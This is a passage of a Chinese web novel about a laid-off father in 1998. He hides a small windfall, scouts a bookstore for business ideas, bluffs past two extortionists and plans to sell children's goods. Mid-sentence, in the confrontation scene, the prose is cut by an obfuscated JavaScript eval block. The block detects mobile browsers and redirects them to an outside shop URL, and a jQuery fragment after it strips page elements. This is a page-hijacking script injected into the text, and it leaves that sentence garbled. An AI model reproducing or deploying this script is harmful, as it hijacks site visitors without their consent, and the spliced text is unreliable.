进了书店,中央空调的凉意瞬间裹住全身,混着旧纸张的霉味和新杂志的油墨清香,连呼吸都顺畅了。 书架是深棕色的实木做的,边角被常年摩挲得发亮,木纹里嵌着经年累月的指纹;几盏白炽灯悬在头顶,光线柔和,在书页上投下淡淡的影子,连灰尘在光里飘都显得慢了些。 他找了个最靠里的角落长椅坐下——挨着窗户,能看见外面的街景,一旦有异常能及时反应,又不容易被人从背后打量,是个能守能退的安全位置。 轻轻调整笑笑的姿势,让她的小脑袋靠在自己胸口,一只手托着她的屁股,另一只手护着她的后背,确保她睡得稳。 小姑娘的口水沾湿了他的衬衫领口,黏糊糊的;小手还攥着他的衣角,指节泛着浅粉,指甲盖里还沾着点早上玩沙子的灰。 林凡低头看了眼,心里软得像化了的奶糖——这是他这辈子唯一的牵挂,绝不能让她受半点委屈。 他左右扫了眼——左边的老人捧着本1982年版的《三国演义》,封面都卷了边,老花镜滑在鼻尖,翻页时手指习惯性地沾了点唾沫; 右边的姑娘扎着马尾,穿件洗得发白的校服,笔尖在笔记本上“沙沙”写着,时不时咬着笔杆皱眉,本子上记的全是英语单词。 没人注意他,这让他松了口气。 他像只警惕的鼹鼠,指尖飞快地摸向腰间 ——先掏出塞在腰带里的现金,两沓十元纸币用白色橡皮筋捆着,展开时“哗啦”响, 他赶紧用手掌按住,动作轻得像怕吵醒笑笑。 指尖沾着汗,蹭在崭新的纸币上,留下淡淡的印子,他还特意把有印子的一面朝里折,怕被人看见。 他低着头,嘴唇无声地数着: “一、二……二十……五十……” 数到两百张时,手指顿了顿——正好两千元,一分不少。 心脏还在“咚咚”跳,像要撞破肋骨,他甚至能听见自己的呼吸声在安静的角落里显得格外响。 又摸出贴身口袋里的存折,塑料封皮泛着冷光,边缘被他昨晚反复摩挲得有些**糙。他凑到窗边,借着自然光再看一遍 ——账号、户名、金额,一个字都没看错,印刷的黑体字像颗定心丸,却也让他更紧张:这笔钱是笑笑的奶粉钱、幼儿园学费、将来的小学学费,是他们父女俩在这世上安身立命的生路。 怎么藏? 现金不能全带身上,太危险;存折更不能丢。 他的目光落在笑笑手边的旧帆布水壶上—— 那是苏晚晴1995年给孩子买的,当时在国营百货大楼花了三块八,带子磨得发白,壶身印着“小熊维尼”的图案,维尼的耳朵因为洗了太多次,已经褪成了浅黄,露出里面的米白色帆布底色。 这是笑笑的宝贝,走到哪带到哪,连睡觉都要放在枕头边,没人会怀疑这个旧水壶里藏着东西。 正好瞥见脚边有个别人包书剩下的牛皮纸袋,皱巴巴的,还沾着点青黑色的书墨,边角撕了个小口。 他赶紧捡起来,拍了拍上面的灰,把一千五百元现金叠得方方正正——先对折,再折成三厘米宽的长条,最后卷成小卷,确保不会漏出来; 又把纸袋折成比水壶夹层小一圈的方块,塞进水壶后面的暗袋里—— 这个暗袋是他昨晚用家里的旧棉线缝的,针脚细密,藏在水壶带子的连接处,外面用水壶带子勒紧,从表面看,只像水壶坠着点重量, 谁也想不到里面藏着相当于普通工人一个半月工资的现金。 剩下的五百元现金,他分成两份: 三百元塞进衬衫内侧的口袋,那是件旧的确良衬衫,他特意在口袋里缝了层衬布,钱贴着皮肤,能感受到纸币的温度,像揣了块小暖炉,一举一动都能察觉,丢不了; 两百元藏进笑笑的小裤兜里——笑笑穿的是苏晚晴织的开裆裤,裤兜有松紧带,他把钱卷成小卷, 塞到最里面,还用针线轻轻缝了道小口,就算有人搜,也未必会注意三岁孩子的口袋,更不会舍得用力掏开针线。 最后把存折重新塞进棉袄内衬的夹层——这件棉袄是他下岗前厂里发的劳保服,他昨晚用粗棉线缝了个巴掌大的夹层,针脚又密又深,像道看不见的防线。 做完这一切,他才长长吁了口气,后背的汗已经把衬衫浸得发潮,贴在皮肤上凉丝丝的,却觉得踏实——钱藏得妥帖,就像给笑笑加了层保护壳。 钱藏好了,该找方向了。 新华书店本身就是座宝库,他抱着笑笑,轻手轻脚在书架间穿梭。 没去碰那些封皮精致的经济书——《资本论》《经济学原理》,这些理论对现在的他没用,他需要的是能落地的实用信息,是能让他带着笑笑活下去、活得好的生意点子。 期刊区的杂志堆得像小山,封面蒙着层薄灰。 他抽出本1998年第6期的《大众软件》,封面印着台老式486电脑,屏幕上是模糊的《仙剑奇侠传》游戏画面, 旁边印着“拨号上网初体验,每分钟两**五”的标题;里面的广告满是“Windows95系统光盘,售价198元”“14英寸球面显示器促销,399元带回家”的字样, 还有篇《互联网:未来的财富新大陆》的短文,作者兴奋地写着“未来人们能在网上聊天、购物,甚至赚钱”,字里行间透着对新技术的陌生与期待。 林凡摩挲着纸页,指腹划过“网上购物”四个字,想起前世的淘宝、拼多多,想起手机支付的便捷,心里有了些模糊的方向 ——未来的钱,一定和“方便”“好看”“新鲜”有关,现在虽然互联网还没普及,但人们对“新东西”的渴望已经在萌芽了。 又翻了本1998年第8期的《致富经》,封面印着“年入十万不是梦”的红色大字,格外扎眼;里面的广告吹得天花乱坠: “养蜈蚣不愁卖,回收价保底五十元/斤,技术包教包会” “种天麻,亩产收益过万,签订回收合同”。 林凡笑着摇摇头——前世他见过有人信了养蜈蚣的骗局,最后蜈蚣没养成,还赔了几千块,这些一眼就能看穿的骗局,他可不会碰。 但他也捕捉到些信号:这个年代,下岗潮刚过,很多人没工作,对“赚钱”的渴望有多迫切,对“新奇”的需求就有多强烈,只要找对路子,不怕没生意。 最在意的还是少儿区。 书架上的书少得可怜,加起来不到十本,还都摆在最底层。 《看图识字》的纸张粗糙得像砂纸,边缘卷着,还有几页缺了角,“日”字的横画都印歪了;几本童话书《白雪公主》《小红帽》翻得掉了页,用粗线缝着,画风老旧,公主的裙子还是灰扑扑的,连颜色都没印匀; 唯一本《育儿知识大全》是1985年版的,里面的喂养建议还停留在 “米糊加白糖,省钱又长肉” “孩子发烧用酒精擦身子”,跟他前世知道的 “辅食加高铁米粉” “发烧物理降温用温水”差太远。 “这么大的空白……” 林凡小声嘀咕,指尖摸着粗糙的书页,心里的想法越来越清晰——围绕“孩子”做文章,不只是卖冰棍,还能做更高品质的东西: 更安全的辅食(比如无添加的米粉)、更软的童装(现在的童装多是粗棉布,磨孩子皮肤)、更精美的绘本(现在的书太粗糙,家长肯定愿意给孩子买好的)。 这不仅是生意,更是他想给笑笑的——前世他没能力给苏晚晴和笑笑好生活,这一世,他要让笑笑用上最好的,也让其他像笑笑一样的孩子能用上好东西,毕竟谁不疼自己的孩子呢? 在书店待了两个多小时,笑笑终于揉着眼睛醒了,小嗓子糯糯的: “爸爸,这是哪儿呀?好多书……” 她抓着林凡的手指,指尖轻轻捏着,眼神里满是好奇,还伸手去够旁边书架上的《看图识字》,小手指指着封面上的“猫”字,歪着头问: “爸爸,这个是什么呀?” “这是书店,以后爸爸常带你来看书,给你买新绘本,好不好?” 林凡给她喂了点水,又从帆布包里摸出个毛桃——早上在菜市场花一毛钱买的,还新鲜,表皮带着细细的绒毛,顶端的红晕像小姑娘的脸蛋。 他用衣角擦了擦桃子,小心翼翼地去皮,把果肉递到笑笑嘴边,看着她小口啃着,汁水流到手上,她赶紧用舌头舔干净,小脸上沾着桃肉,像只偷吃的小花猫,心里软乎乎的。 快到中午,该回县城了。他在书店门口的“张记包子铺”给笑笑买了个肉包子 ——包子皮白得像雪,咬一口能流出油,里面的肉馅是新鲜的五花肉,还加了点葱花,香味能飘出老远,花了一毛钱; 自己啃了个五分钱的白面馒头,干得噎人,就着旁边小摊上两分钱一碗的凉水咽下去,馒头渣卡在喉咙里,他咳了两声,才顺下去。 然后赶往汽车站,买了两张回县城的车票,每张五块钱,是他昨天卖五十根冰棍才能赚回来的钱。 回程的班车依旧拥挤,车身上印着“江州-青县”的字样,车座上的海绵都露了出来,有人扛着装满土豆的麻袋,有人提着鸡笼,鸡粪味混着汗味飘过来,呛得笑笑皱起了小眉头。 笑笑靠在他怀里,拿着啃剩的毛桃核玩,用手指抠着上面的纹路,时不时把桃核递到他嘴边:“爸爸,你吃。”林凡笑着摇头: “笑笑吃,爸爸不吃。” 班车“哐当”停在青县汽车站时,太阳已经偏西,把地上的影子拉得老长,有两米多。林凡抱着笑笑刚走出车站,两个身影突然拦在面前 ——**头和高壮青年,吓得笑笑往他怀里缩了缩,小手紧紧攥着他的衣领,小脑袋埋在他脖子里,不敢抬头。 **头叫**,是县城里有名的街溜子,以前跟林凡在一个厂子里当学徒,后来因为偷东西被开除了。 他穿着件洗得发白的“江州机床厂”工装T恤,领口卷着边,露出黝黑的脖子,脖子上还有道浅浅的刀疤,是上次跟人抢地盘被砍的; 他嘴角勾着痞笑,手指抠着T恤领口,眼神在林凡身上扫来扫去,像在找什么值钱的东西——昨天他在小学门口看林凡卖冰棍,一中午就赚了不少**票,今天又见林凡坐班车去市区,肯定以为他捞到了快钱,想敲诈点。 高壮青年叫王虎,是**的跟班,以前在县城菜市场帮人收保护费,后来因为**被抓进去过。 他跟在**后面,嘴里叼着根“红塔山”的廉价烟,烟味呛人,裤腰带上别着截明晃晃的一字螺丝刀,螺丝刀上还有锈迹,反光刺得人眼睛疼;他眼神凶巴巴的,像头饿狼,盯着林凡的帆布包,好像包里面藏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607473|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着金银财宝。 林凡的心“咯噔”一下,瞬间沉了下去——麻烦还是来了。 后背的汗瞬间冒出来,贴在皮肤上,凉得刺骨,却不敢动,怕吓到怀里的笑笑。 他想起前世,就是这样被**和王虎堵在巷子里,抢了他的遣散费,还把他打了一顿,让他躺了半个月。 “哟,这不是凡哥吗?” **嬉皮笑脸地凑过来,声音里满是嘲讽, “昨天冰棍卖得挺火啊,一中午收了不少钢镚吧?今天还去市里潇洒了?这是发大财了,忘了兄弟了?” 他一边说,一边用胳膊肘碰了碰王虎,两人都笑了起来,笑声里满是恶意。 林凡心里门清——这些街溜子无所事事,就靠敲诈过活。 昨天见他卖冰棍赚了点**票,今天又见他去了市里,肯定以为他是去进货或者找活干,想敲诈点“路费”。 他们绝想不到彩票的事,顶多是要个十块八块,但麻烦一旦缠上,就像狗皮膏药,甩都甩不掉,上次有个卖菜的被他们缠上,天天来要保护费,最后没办法,只能换地方卖菜。 他立刻换上副疲惫的愁容,叹了口气,拍了拍笑笑的背,声音放得软: “发啥财啊,强子兄弟。你又不是不知道,孩子她妈走得早,前几天她娘家来人,非要我去市里说清楚,说我没照顾好笑笑,来回车费花了五十多,还买了点礼品,屁事没办成,还受了一肚子气。 你看我这衬衫,还是前年厂里发的,都洗得透光了,哪有钱啊。”他故意扯了扯衬衫领口,露出里面洗得发黄的旧秋衣,秋衣的袖口还破了个洞。 把去市里的原因扯到家庭**上——这种事私密,又没人愿意深究,还能暗示自己没钱,是个穷光蛋。**和王虎都是怕麻烦的人,要是知道是家庭**,肯定不愿意掺和。 王虎吐掉烟头,烟蒂落在地上,用脚碾了碾,上前一步,他比林凡高半个头,阴影罩住林凡,声音粗哑得像磨了砂纸: “少跟我扯这些没用的!昨天我在小学门口看得清清楚楚,你收了不少**票!哥儿几个手头紧,借点钱花花呗?” 他的手故意撩了下汗衫,露出那截螺丝刀,反光晃在笑笑脸上,吓得小姑娘往林凡怀里又缩了缩,小声哭了起来。 林凡的心跳漏了一拍,却故意把腰弯得更低,脸上露出哀求的神色,声音都带着点颤: “兄弟,真不是我不借。你看我这情况,厂里下岗没工作,笑笑都快养不活了。昨天卖那几根冰棍,也就赚了块八**,够今天的车费和孩子的包子钱。不信你搜,我身上就剩几分钱坐公交了。” 一边说,一边主动掏出口袋——先摸出上衣兜,掏出三枚一分的钢镚,放在手心,钢镚上还沾着点汗, “你看,就这些,还是早上卖了两根冰棍剩下的。” 又翻了翻裤兜,空空的,连个硬币影子都没有。那五百元藏得隐蔽,贴着皮肤、塞在孩子兜里,根本不可能被随手摸到。 **和王虎盯着他手里的钢镚,又看了看笑笑蜡黄的小脸、林凡洗得发白的衬衫和破了洞的秋衣,眼神里的怀疑淡了些。 林凡以前穷得叮当响的样子,他们早就记在心里——冬天穿单鞋,脚趾头都露在外面; 夏天啃咸菜,连个肉包子都舍不得买; 苏晚晴生病的时候,他还跟他们借过钱,最后没还上,被他们骂了一顿。 一时半会儿,他们也不信他能突然有钱。 “妈的,真是个穷鬼!” 王虎啐了口,觉得为这点小钱动手不值得,挥了挥手, “滚吧滚吧,别在这儿碍眼!下次再让我看见你,给我远点走!” “谢谢兄弟,谢谢兄弟!” 林凡连声道谢,抱着笑笑,低着头快步走,背后还传来他们的讥笑: “还去市里呢,我看是去要饭了!”“就他那样,一辈子也发不了财,活该穷死!” 一直走出很远,拐进筒子楼那条窄巷——墙边长着半人高的野草,墙角堆着垃圾,有几个破纸箱和烂菜叶,散发着酸臭味 ——他才靠在斑驳的砖墙上,大口喘气。 后背的汗已经把衬衫浸得透湿,连胳膊都在抖——这是他重生后第一次真切感受到恶意,仅仅是卖了几根冰棍,就引来麻烦。 要是彩票的事泄露,后果不堪设想,笑笑可能都会有危险。 笑笑小手抓着他的衣角,小声问: “爸爸,那些叔叔是坏人吗?他们的刀好亮,我怕……” 她指的是螺丝刀,吓得声音都在颤,眼眶还红红的。 林凡蹲下身,用袖子擦了擦女儿的脸,努力挤出个笑,声音放得柔: “不是坏人,就是认错人了,想跟爸爸问路呢。笑笑不怕,爸爸会保护你,以后再也不让你见着他们了。” 他把女儿抱起来,紧紧搂在怀里,感受着她小小的身体的温度,心里的决心越来越硬——他一定要尽快赚够钱,带笑笑离开这个鱼龙混杂的地方。 抬头看向自家那扇破旧的窗户,在夕阳下泛着暖光,玻璃上沾着灰,还贴着张1997年的旧年画,画的是胖娃娃抱鲤鱼,年画的边角已经卷了; 窗户下面挂着个旧花盆,里面种着苏晚晴生前养的仙人掌,还活着,绿油油的,透着股生机。 楼道里的声控灯坏了一半,得使劲跺脚才亮,亮了之后能看见墙上的涂鸦 ——“王二到此一游”“李三是大笨蛋”,字迹歪歪扭扭;楼梯的扶手沾着油污,摸上去黏糊糊的,是邻居做饭时溅上去的; 楼梯上还堆着些旧家具,有个破沙发和一张缺腿的桌子,走路都得绕着走。 他抱着笑笑走上楼梯,每一步都走得很稳,生怕摔着。 指尖摸着怀里的存折,心里的计划越来越清晰:明天一早就去县城的批发市场,先进十件软和的纯棉童装(现在的童装多是粗布,纯棉的肯定好卖)、两斤奶片(孩子都爱吃,县城里只有供销社有卖,还经常断货),先在小学门口试试水; 等稳定了,就租个小摊位,再也不用在路边风吹日晒;再攒点钱,就换个大点的房子,带笑笑离开这鱼龙混杂的筒子楼,去县城东边的新小区住,那里有幼儿园,环境也好。 他知道, 暗处的水流已经开始涌动——可能是街溜子的敲诈, 可能是邻居的窥探(筒子楼里的邻居都爱打听事,上次他买了袋奶粉, 第二天全楼都知道了),可能是未来生意上的麻烦(批发市场的摊主可能会缺斤少两,同行可能会抢生意)。 但他不再是前世那个浑浑噩噩、只会抱怨的林凡了——他怀里抱着笑笑,兜里揣着希望,脑子里有未来的方向。 这只刚扬帆的小船,必须更小心地避开暗礁,才能慢慢长成能抵御风浪的巨轮。 他抱着笑笑,站在自家门口,掏出钥匙开门,钥匙**锁孔, “咔嗒”一声,门开了, 屋里飘出股淡淡的仙人掌香味——这是家的味道,是他要守护的味道。 第八章:萌芽的蓝图 回到那间不足十平米的筒子楼小家时,暮色已经漫进了楼道。 墙皮像干枯的鳞片般卷着边,指尖一蹭就掉渣,空气里却飘着隔壁王婶家炒咸菜的香——那咸香裹着点酱油的醇厚,混着铁锅烧透的烟火气,勾得人喉头轻轻发紧,是这破败楼道里少有的暖意。 林凡反手攥住门后那根老松木闩。 这木闩跟着他搬了三次家,握在手里的地方被磨得泛出琥珀色的包浆,暖得像揣了块老玉; 深褐色的木纹里嵌着经年累月的油烟灰,是过去三年里每个灶台熏出来的印记,指尖抠都抠不下来,倒像藏着无数个哄睡笑笑后,他独自坐在灯下抽烟的难眠夜晚。 他将木闩往槽里一推,“咔嗒”一声脆响炸开,在连呼吸都听得见的寂静楼道里,像块石头砸进了静水,余音绕着剥落的墙皮转了两圈,才慢慢散了 ——这声音是道有形的防线,把巷口刘强那群街溜子的嬉闹声、酒瓶碰撞的“叮当”声,都牢牢挡在了门外。 门楣上还贴着半张去年除夕的春联。 上联“岁岁平安”只剩“岁岁”两个字,红纸被风吹得卷了边; 下联“年年如意”泡在雨痕里,墨迹晕成了淡黑的云; 唯有横批“阖家欢乐”还能看清,红纸褪成了浅粉,边角卷得像晒干的桃花瓣,却莫名添了点熨帖的暖意。 至少这半张纸能证明,这里不是临时落脚的破屋,是他和笑笑的家,是有过除夕烟火的地方。 他背靠着冰凉的木门,肩胛骨抵着墙皮上凸起的水泥疙瘩,那硬邦邦的触感戳得人发疼,却让他莫名踏实。 他长长地、无声地吁出一口气——那口气从胸腔里滚出来,带着街面上的尘土味,胸口的紧绷感才慢慢松开,像被晚风打散的晨雾。 方才在巷口,**带着两个小弟拦着他时,他甚至摸到了对方口袋里**鞘的冷硬——那短短三分钟的对峙,像一盆刚从井里打上来的凉水,兜头浇熄了他从彩票站兑奖归来的燥热,只留下沉甸甸的警醒: 一千五百块,在他眼里是救急的救命钱、是笑笑能多喝几瓶牛奶的奶粉钱,在别人眼里,可能就是块招灾的肥肉。 怀里的笑笑小手还死死攥着他的衣领,指节泛得发白,像刚剥壳的莲子。 她的大眼睛里蒙着层不安的水汽,连呼吸都轻得像怕吹跑什么,小脑袋往他怀里埋得更深,鼻尖蹭着他汗湿的衬衫,那点温热的触感透过布料传过来,像团小火焰,烧得他心口发暖。 “笑笑不怕,到家了,坏人进不来。” 林凡放柔了声音,指腹轻轻蹭了蹭女儿汗湿的鬓角——那几缕碎发沾在皮肤上,带着孩子特有的、混着奶味的温热。 他走到床边坐下,这张铁架床的弹簧早就松了,一坐就往下陷,发出“吱呀”的轻响。 他小心地将笑笑放在腿上,手护着她的腰,怕床板上凸起的弹簧硌着她。 接着,他解开了缠在腰间的水壶带子。 那是个军绿色的铝制水壶,壶身坑坑洼洼的,是他以前在工厂里做学徒时发的,壶盖的胶圈早就没了,只能靠绳子缠紧。 水壶里没装水,而是裹着个牛皮纸袋,袋口用细麻绳缠了三圈,边角还沾着点书店的墨痕——早上他去买笔记本时,不小心蹭到了柜台上没干的墨水,那点黑渍像颗小痣,印在米黄色的纸面上。 指尖摸上去,牛皮纸袋里一千五百元的厚度硬邦邦的,纸币折痕处的棱角硌着指腹,那触感让他悬了一路的心,终于彻底落地,像块石头落进了安稳的土坑。 他把分散的钱都摊在床头的旧报纸上——那是张昨天的《县报》,头版还印着“下岗职工再就业扶持政策”的标题,油墨味还没散。 贴身藏的三百元叠得方方正正,带着他的体温,纸币边缘被汗浸得有点软,摸起来发潮;笑笑裤兜里的两百元卷成了小卷,沾着点孩子的奶香味,大概是早上喝牛奶时蹭到的,指尖一捻就能闻到; 水壶里的一千五百元裹在纸袋里,一沓崭新的十元纸币,压得报纸都往下陷,边角的金线在灯下闪着微光; 还有那张绿色的存折,塑料封皮泛着冷光,上面印着“中国农业银行”的字样,里面只有去年攒下的八百块——那是他顶着夏天的大太阳,在街头卖了三个月冰棍,省吃俭用攒的,连一根五分钱的冰棒都没舍得给自己买过。 钱不多,加起来才两千八百块,摊在灯下的旧报纸上,却像堆小小的、会发光的希望,照亮了屋里的昏暗。那些纸币上的人像,在昏光里仿佛都笑着,映得他眼底也亮了。 他开始找家里的“隐秘角落”,每一个地方都是他以前就琢磨好的,像藏着秘密的小盒子: 床底第三块松动的砖块——他用指尖抠住砖缝,轻轻一撬,“哗啦”掉下来点碎土,里面积着层薄薄的灰,指尖一拂就扬起细尘。 尘雾里藏着颗笑笑上个月掉的乳牙,乳白色的牙釉上还沾着点淡红的血丝——那是他连夜用软纸包好塞进去的,当时女儿还哭着说“牙牙飞走了”,他哄了半天才哄好。 他把存折塞进去,存折刚好卡在砖缝里,不晃也不掉,再把砖块按回去,拍了拍上面的灰,看起来和其他砖没两样,只有他知道,这里藏着他们父女俩的“底气”。 墙皮剥落的裂缝——客厅墙角有道两指宽的裂缝,是上次下雨漏水泡的,里面还留着水浸过的黑印。 他把两百元现金折成三叠,每叠都叠成小方块,像叠纸船似的,小心翼翼地塞进裂缝里,生怕碰掉了旁边的墙皮。 外面用张1996年的旧报纸盖住——那报纸上还印着“物价平稳,鸡蛋每斤0.7元”的标题,边角都发黄发脆了,刚好能挡住裂缝,不细看根本发现不了。 旧棉袄的内衬夹层——那件藏青色的棉袄是苏晚晴生前缝的,袖口都磨破了,露出里面的棉絮,他却一直没舍得扔。 棉袄左襟的内衬里,苏晚晴特意缝了个三寸宽的夹层,针脚密得能数清,每一针都比指甲盖还小——那是晚晴怀着笑笑时,坐在灯下缝的,当时她说“以后万一难了,能藏点应急的钱,别让孩子受委屈”。 他把三百元零钱塞进去,指尖还能摸到棉袄里的棉絮,软乎乎的,带着点阳光晒过的味道——那是上个月晴天时,他在楼顶晒过的,当时还特意拍了拍,让阳光多钻进去点。 钱藏得像地里的土豆,扎实;像墙缝里的草籽,隐蔽;像棉袄里的棉絮,暖和,每一处都带着土腥味的踏实,是能攥在手里的安稳。 最后,他从里面数出五十元,压在枕头下——这是接下来五天的开销,包括买米、买咸菜,多一分都不带走,他得省着,把钱花在“刀刃”上。 做完这一切,天色已擦黑。窗外的蝉鸣渐渐弱了,从“知了知了”的狂叫,变成了断断续续的低吟,像累极了的人在喘气。 林凡生起了煤炉子,那是个铁皮做的小炉子,炉口都锈了,边缘掉了块铁皮,露出里面的黑炭。他夹起一块蜂窝煤,“咚”地一声放进炉子里,火星子簌簌往下掉,落在地上灭了,留下点点黑痕,映得旁边的铁锅泛着暖光。 他从网兜里掏出新买的豆油——是本地榨油坊的散装豆油,装在透明的塑料瓶里,油色像融化的琥珀,清澈透亮。 他倒了两勺油,油刚碰到热铁,就“滋滋”响起来,一股浓郁的豆香瞬间飘满屋子,勾得笑笑从桌边探出头,小手抓着桌沿,脚尖踮得老高,连咽口水的声音都听得见 ——“咕咚”一声,在安静的屋里格外清楚,像颗小石子掉进了水里。 他从冰箱里拿出块五花肉,约莫半斤重,肥瘦相间,是早上在菜市场买的,花了三块五。 他把肉切成薄片,放进锅里煸,油花“噼里啪啦”地冒得欢,肉皮先皱起来,像老人的手背,再从粉红变成浅黄,最后裹上一层金黄的油亮,猪油的香味混着肉香,飘得满楼道都是,连隔壁王婶家的咸菜香都压下去了。 等肉煸得出油,他再把洗好的西红柿切进去——西红柿是本地菜农种的,个头不大,皮上还带着点土,但是酸甜多汁,一进锅就“嘶啦”一声,酸香瞬间腾起来,笑笑的眼睛更亮了,直勾勾地盯着锅里,小舌头忍不住舔了舔嘴角。 一碗西红柿打卤面端上桌时,面条还冒着热气,裹着浓稠的卤汁,红色的西红柿块、金黄的肉片、绿色的葱花,撒在上面格外好看,像幅小小的画。 笑笑拿起小勺子,扒拉着往嘴里送,卤汁沾在嘴角,她用舌头一卷,连下巴上的汁都舔干净,小脸蛋上沾了点面屑,像只刚偷吃完的小花猫,可爱得让人心软。 吃到最后,笑笑的小肚子撑得滚圆,像个热乎乎的小皮球。她打了两个饱嗝,“嗝——嗝——”,小手摸着肚子,笑出两个浅浅的小酒窝,眼睛弯成了月牙。 看着女儿脸上纯粹的笑,林凡心里的踏实,比揣着那两千八百块还珍贵——这才是他要的日子,不是纸面上的数字,是一碗热乎的面条,是孩子吃饱后的笑容,是晚上能睡个安稳觉,是不用再担心下一顿有没有吃的。 夜晚,哄睡笑笑后,林凡坐在昏黄的钨丝灯下。那盏台灯是他从旧货市场淘的,五块钱,灯线都露着铜丝,得小心地捏着开关才亮,稍微一松就灭,他已经摸熟了力道。 桌上放着本格子笔记本,16开大小,封面有个指甲盖大的破洞,用透明的“友谊”牌胶带粘着——是他从书店买的处理品,五毛钱一本,原本是被人撕了两页的,他却觉得划算,至少能写字。 还有支HB铅笔,笔帽早就没了,笔尖钝得像个小疙瘩,橡皮擦得发黑,还沾着点铅笔屑——是捡的隔壁小孩丢的,他用小刀削了削,木屑卷成小卷,落在桌上像撒了把细雪,削完后还能写,就是字迹有点粗。 他握着笔,指尖裹着铅笔的凉意,笔尖在纸上“沙沙”响,开始写计划——不是飘在天上的空想,是能踩在地上的步子,每一笔都写得认真,歪歪扭扭的字里藏着劲,像刚学走路的孩子,虽然不稳,却透着倔强。 写错了就用橡皮擦掉,纸页上留下淡淡的擦痕,像人生里的小坎坷,擦过了还能继续写。 第一步:生存与伪装(1-2周) 1.生活改善要“慢” 明天一早就去菜市场:买小袋米(称五斤,选珍珠米,1.2元一斤,五斤刚好6元,够吃一周)——选珍珠米是因为煮出来糯,笑笑爱吃,以前总说“爸爸,米米软乎乎的”,五斤刚好装在旧布袋里,提着不沉; 一壶豆油(小瓶一斤装,3.5元,省着用,一次只放两勺)——上次放多了,笑笑说“油味有点重”,这次得少放;十个鸡蛋(土鸡蛋,0.8元一个,比洋鸡蛋贵两**,但营养好,给笑笑补身体)——土鸡蛋的蛋黄更黄,炒出来香,笑笑能多吃半碗饭; 一小瓶牛奶(1.5元,每天早上热给笑笑喝)——之前买过一次,笑笑喝得欢,说“像喝甜水”。 理由得编圆: “昨天去市里卖冰棍,多赚了几块,总不能让孩子跟着我喝稀粥”。偶尔买斤苹果(1.5元一斤,买两个)——选红通通的,擦得干干净净,笑笑爱吃甜的; 割块肉(半斤三块五,一周一次)——不能买多,买多了容易被邻居问,频率慢慢提——这周一次肉,下周两次, 让张婶她们慢慢习惯他“踏实赚钱”的新样子,而非“突然暴富”。 毕竟张婶她们的眼睛亮着呢,住在筒子楼里,谁家买了块肉、添了件新衣服,转天就能传遍整个楼道,太急容易露马脚,得“慢”,慢得像熬粥,慢慢熬出香味。 2.信息收集要“细” 每天下午带笑笑去集市、小学门口转——选“向阳小学”门口,那里的家长多是附近工厂的职工,手头比普通人家宽裕,愿意给孩子花钱,而且孩子多,能看出喜欢啥。 看的细节要具体: 孩子书包上挂什么贴纸(是不是比本地小卖部卖的亮?有没有闪粉? 昨天看见个男孩挂“樱桃小丸子”的,边角带闪粉,比本地卖的塑料贴纸好看,旁边的小姑娘盯着看,手里的棉花糖都忘了咬); 手里攥着什么零食(有没有没见过的包装? 今天看见三个女孩喝“娃哈哈AD钙奶”,红色吸管,瓶身印着卡通娃娃,五毛钱一瓶,孩子都爱喝,喝完还把空瓶子攥在手里,舍不得扔); 身上穿什么衣服(料子舒不舒服?有没有新款式? 有个小姑娘穿的连衣裙是纯棉的,比本地卖的粗布软,孩子穿得自在,跑的时候裙子飘起来,像小蝴蝶)。 听的抱怨要记牢: 是“玩具三天就坏”(昨天听见个妈妈说,给孩子买的铁皮青蛙,玩了两天弹簧就掉了,孩子哭了半天); 还是“零食太甜怕坏牙”(张婶上次说,笑笑总想吃糖,怕坏了牙,想找不那么甜的零食); 甚至“买不到孩子喜欢的发卡”(今天看见个小姑娘的发卡掉了片花瓣,还宝贝得不行,说县里没好看的,哭着让妈妈再买,妈妈叹了口气说“哪有好看的,都是老款式”),这些都要记在心里,像存账本一样,一笔都不能漏。 3.安全第一要“躲” 少出门,尤其避开**那样的街溜子——**以前跟他在一个工厂,下岗后就混日子,经常抢小摊贩的钱,上次就抢过卖烤红薯的老李五块钱,老李敢怒不敢言。 卖冰棍的活先停了,太扎眼——推着冰棍车在街上来回走,像个移动的“靶子”,容易被**盯上,等风声过了再说。 白天尽量待在家里,整理收集的信息,晚上只在巷口转一圈,不跟人多聊,遇到熟人问就说“在家看孩子,怕孩子闹”,多一句都不说,言多必失。 第二步:启动与试水(1-3个月) 1.项目选在“孩子”身上 这是他最熟的,也是最放心的——毕竟天天带笑笑,知道孩子喜欢什么,家长在意什么: 食品类: 找包装好的儿童饼干(要独立小包装,干净卫生,家长放心,比如“动物饼干”, 一块一个造型,小熊、小兔的,孩子喜欢,家长也愿意买)、独立果丹皮(不粘手,酸甜口,孩子爱吃,还能当零食哄孩子,比糖健康),避开油炸的(家长怕孩子吃了上火,比如炸薯片,虽然孩子喜欢,但家长不买,白压货); 玩具/文具类: 批发本地少见的磁性写字板(选小号的,方便携带,写了能擦,省纸笔,家长爱买,还能说“开发智力”,让孩子多学点东西)、 带香味的橡皮(草莓味、橘子味各进一半,孩子喜欢闻,一块两毛钱,便宜,家长不心疼)、印着卡通的铅笔盒(最近《还珠格格》火,电视里天天演,印小燕子的肯定好卖,一个两块钱,孩子见了就想要); 童装类: 从市里进几件质量好的纯棉童装(摸着手软,像云朵似的,孩子穿得舒服,比如连衣裙,有粉色、蓝色两种,粉色显白,女孩喜欢, 一件八块钱批发,卖十五块,有利润,还能赚点),先拿三五件,试试水,卖不出去还能给笑笑穿,不浪费。 2.销售要“灵活” 不摆摊,用自行车流动卖(以后买辆二手的“永久”牌自行车,一百块以内能拿下,结实耐用),省管理费还隐蔽,遇到熟人就说“帮朋友带点货,顺便赚点零花钱”,不张扬; 跟熟家长约“下次带好货”,比如张婶要是问有没有发卡,就说“下次去市里给笑笑带,您要不要也带一个? 选个好看的款式”,提前留货,攒熟客; 买得多就送上门,哪怕只到楼下(比如筒子楼的李姐买两件衣服,就帮她提到三楼,她腿不好,爬楼费劲,帮个小忙,人家下次还会买),口碑都是慢慢攒的,像种庄稼,得一点点施肥,才能长好。 3.资金控在500元内 